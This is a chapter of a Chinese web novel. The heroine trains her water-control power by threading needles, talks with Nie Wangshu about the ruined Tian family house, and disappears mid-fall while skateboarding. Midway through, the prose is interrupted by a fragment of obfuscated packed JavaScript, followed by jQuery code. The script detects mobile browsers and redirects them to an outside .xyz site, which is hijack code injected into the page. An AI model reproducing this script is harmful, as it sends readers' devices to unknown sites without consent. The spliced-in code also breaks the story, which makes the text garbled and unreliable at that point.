南舟月面前放着一盘绣花针,足有上百支。
聂炎答应让聂望舒带她去找天家老宅,但条件是,她得先提升自己的异能掌控力,以免在外遇到异乡人,出现意外情况。
可这跟绣花针有什么关系?
聂炎自然知晓她的疑惑,解释道:“万事讲究粗细得当,如何得当,便在于一个度字。如何控制好这个度,便需要你去摸索磨合。我们先从细的一面开始,控制水线穿过这百支绣花针。听起来简单,却需要极强的控制力和耐力。”
南舟月盯着针孔左看右看,这孔也太小了,平时用线她都穿不利索,现在要让她用水穿,听起来哪里简单了?
不过这种训练,对她来说也算有利无害,她没有理由拒绝。但她不想耽搁太长时间,尽快过关,才能去找天家老宅。不知怎的,她就是想去看看。
饭她也没什么心思吃,扒拉了两口,就端着一盘绣花针回房间。
聂望舒跟在她后头,看她一路盯着盘子的样子,着实有些好笑。刚走到门口,还没说话,“砰”地一声,一扇门就砸在他面前。
他摸了摸鼻子上的灰,这丫头,真把他当空气!
南舟月提了一桶水放在桌边,把绣花针一根一根摆好,便开始集中精神,抽水成线。
这活儿真不好干啊!又得保持水线足够细,又得对准孔洞。她不断调整角度,盯得眼睛都红了,才串上了几根。
水线难以长时间维持,一旦断裂,又得从头来过!
南舟月脑袋无力地支在桌子上,整个人头昏脑涨,瞥眼一看,屋外天都黑了!
她抓着头发一声怒吼,怎料话音刚落,门外就响起一阵急促的敲门声。
烦死了!
南舟月缓了缓,这才摇摇晃晃地过去开门。
屋外的聂望舒正抬脚踹门,谁知门竟突然打开了!他一时没收住力,惯性地往前扑了一下。
南舟月脑子不清楚,没来得及躲开,鼻子撞到他胸膛上,登时酸得眼泪都出来了!
她气愤地一把将他推开,捂着鼻子瞪他。虽然眼泪汪汪,但眼底燃起的怒火,还是令人胆寒!
“抱歉抱歉!我听到你鬼吼鬼叫,以为出事了,一时没刹住车,鼻子没撞掉吧……”
聂望舒话还没说完,南舟月已经一脚踹了过去。他本能地侧身一躲,又反应过来,自己是不是不该躲?
他快速往房间里扫了一眼,桌上地上都是水渍,看起来“战况”相当激烈!
南舟月低头揉眼睛,他也没多想,下意识地捧住她的脸:“真撞坏了?”
南舟月嫌弃地拍开他的手,吸了吸发红的鼻子,带着鼻音:“你来干嘛!”
聂望舒这才想起正事,赶紧把放在门口的饭盒袋拿进来:“你双姐让我给你送慰问餐,不吃饱怎么有力气玩水?”
送个饭也要毒舌嘴贱!南舟月“哼”了一声,一点也不跟他客气,把桌上的针推到一边,摆上香喷喷的饭盒,心情瞬间就好了。
聂望舒坐在一边,把玩着盘子里的绣花针:“这事急不来,要不要我给你分享点经验?”
南舟月瞪着一双死鱼眼看他,一副你爱说不说的神情。
聂望舒像个大佬似的往椅背上一靠:“小时候我训练控制玄玉剑,也是费了不少劲。这么说吧,你越是用力想去控制,越难得要领。”
南舟月一边啃鸡腿,一边示意他继续说。
“我想我们这种意念控制的东西,应该是有共通之处的。不能一心想去控制它,要试着把它当作自己的一部分,去融合它,就像,控制自己的身体一样自然。这个说起来容易,关键还是得靠自己找感觉,看你的悟性了。”
南舟月大概能明白他的意思,但他这副过来人的得意感,着实让人不爽,遂脚下一踢,正中他桌下的小腿!
聂望舒神色一僵,咬牙拍了拍腿上的灰:“真是恩将仇报!”
南舟月装作听不懂的样子,一脸无辜。
见她吃完了,聂望舒起身收好饭盒:“吃了这么多,不出去走走?小心变成聂无念。”
南舟月点点头,难得没怼他,确实吃得有点撑,晖叔的手艺实在太好了!
她虽然人在外面走,脑子里却还在琢磨穿针引线的事,一言不发。
聂望舒冷不丁从兜里掏出一块白巧克力,在她眼前晃了晃:“喏,饭后甜点。”
南舟月懵了一下,莞尔一笑:“我要是胖成聂无念,就是你害的!”
聂望舒耸了耸肩,学她装无辜的样子:“我又没塞你嘴里。”
南舟月双手环胸,较劲似的撇过头,不接他的巧克力。
聂望舒笑着手指一递,就塞进了她兜里。
不等南舟月发作,他就转移话题:“你为什么突然想回天家老宅?是不是,有什么想法?”
南舟月愣了一下,神情略显凝重:“在亲眼看见她之前,我什么事都是通过别人来告诉我,没有半点真实感。什么天家巫女,都离我太遥远了。可现在,我想去看看她生活过的地方,还有,她出事的地方。”
也是,别人再怎么灌输,都不如自己亲眼所见。也许身临其境,能让她想起一些事情。
“天家老宅在一处南方小岛上,据说那里磁场很乱,没有天家信物的话,很难找到。以前,只有专门的聂家信使会定期过去。直到二十年前,海上的局被破了,聂家长辈赶过去时,一切都毁了!”
“那么难找的地方,怎么突然就破局了呢?这事没有内鬼我都不信。”
聂望舒不置可否:“这事确实蹊跷,可惜死无对证,二十年了,也没有人再去过。”
南舟月觉得有些可笑:“这么个传承千年的家族,最后落个死得不明不白的下场!这么多年默默守护这个世界,结果甚至无人知晓,值得吗?”
这个问题,他曾经也怀疑过,可以说以前支撑他留下来的,是为了替父母报仇的执念。后来经历得多了,他才渐渐能理解,祖辈这份坚持的不易。
“值不值得,很难界定。只能说,没有值不值得,只有愿不愿意。不愿意的人,这一路早就走散了。”
南舟月侧头看着他:“那你觉得,我们会走散吗?”
聂望舒一怔,其实带她回聂家后,他就一直有点回避这个问题。他知道她有点厌世心理,也没有当救世主的决心,怕她终归会跟他走散。可他如果一味理所当然地拉她入局,不也是一种自私么?
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16214456|178255||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
>如果没有这些事,她应该还过着普通人的生活吧?只是,他也不确定这个世界还能平静多久?
他深吸一口气看着天上星星点点:“我说过,如果你想走,我不会拦着你。我们就当没认识过,我不会再去打扰你。”
看他这副大义凛然的样子,南舟月忍不住笑:“哟,这会儿不骂我自私了?”
聂望舒略显尴尬地咳了两声:“上次是我说话没过脑子,我给你道歉,这事咱翻篇了,行不?”
“那不行!”南舟月玩心上来了,故意整他,“我这人记仇,你得表示表示!”
“怎么表示?”聂望舒涌起一股不妙的预感。
南舟月上前一步,像个大佬似的拍拍他的肩膀:“我要收你做小弟,以后,我就是你老大了,你得听我的!”
聂望舒神色怪异得就像听到了什么天方夜谭一样,用手指轻轻戳她脑门:“你这小脑袋瓜子里到底在想些什么?怎么失忆了还忘不了你那套刺头作风?收小弟都收到我头上了?”
“你就说行不行吧!没点诚意!”
南舟月作势要掰他手指,他赶紧缩了回去:“不行!我才不当你小弟!你换一个表示!”
“换不了!”南舟月跟他杠上了,双手叉腰,“你不是叫我祖宗吗?那叫我老大又有什么关系!”
“这能一样吗?”聂望舒气笑了,仰天长叹,恨不得让老天一道雷把她劈醒。
“你俩大晚上在这吵吵什么呢?”
二人齐齐转头,就见聂无双踩着滑板溜了过来,长发飘飘,夜里跟个女鬼似的。
南舟月眼睛一亮,立刻跑上前去:“你怎么还有这个好玩的东西?”
聂无双利落地从滑板上蹦了下来,一踩一提,自觉酷得不行:“我从外面带进来的呀,不然这鸟不拉屎的地方可太无聊了!诶,你俩刚才在吵架吗?”
南舟月的心思已经被滑板吸引过去了,随手一指聂望舒:“是啊,他欺负我!”
“他?”聂无双不太相信,看着聂望舒一脸冤枉的表情,“他虽然有时候毒舌了点,但还不至于欺负小姑娘吧?”
南舟月一瘪嘴,装作一副失望的样子:“我忘了,你俩一伙儿的!不相信我……”
聂无双个子高,有一米七出头,闻言赶紧揽住她,跟哄小孩儿似的,态度一百八十度大反转:“我错了我错了,这哥们闷坏闷坏的,肯定是他欺负你了!来,咱玩滑板,不理他!”
南舟月憋着笑,刚踩上滑板一溜,瞬间失去平衡,一屁股坐到地上,摔得有点懵。
聂望舒笑出了声:“现世报!”
聂无双“哎哟”一声赶紧去扶,南舟月恶狠狠地瞪着聂望舒,后者对她这眼神有点PTSD,一秒收起笑脸,跟聂无双一左一右把她捞了起来。
南舟月还就不信了,踩上滑板摇摇晃晃地继续溜。其实她还挺有运动天赋的,胆子也大,越滑越快。问题是,她还没学会刹车!
聂望舒俩人跟家长似的杵在一边,喊她慢点,谁知轮子似乎撞到了石头,她整个人失去平衡飞扑了出去!
在聂无双的惊呼声中,时间好像被按了慢放键,实则发生得很快,南舟月飞在半空,眨眼间就原地消失了!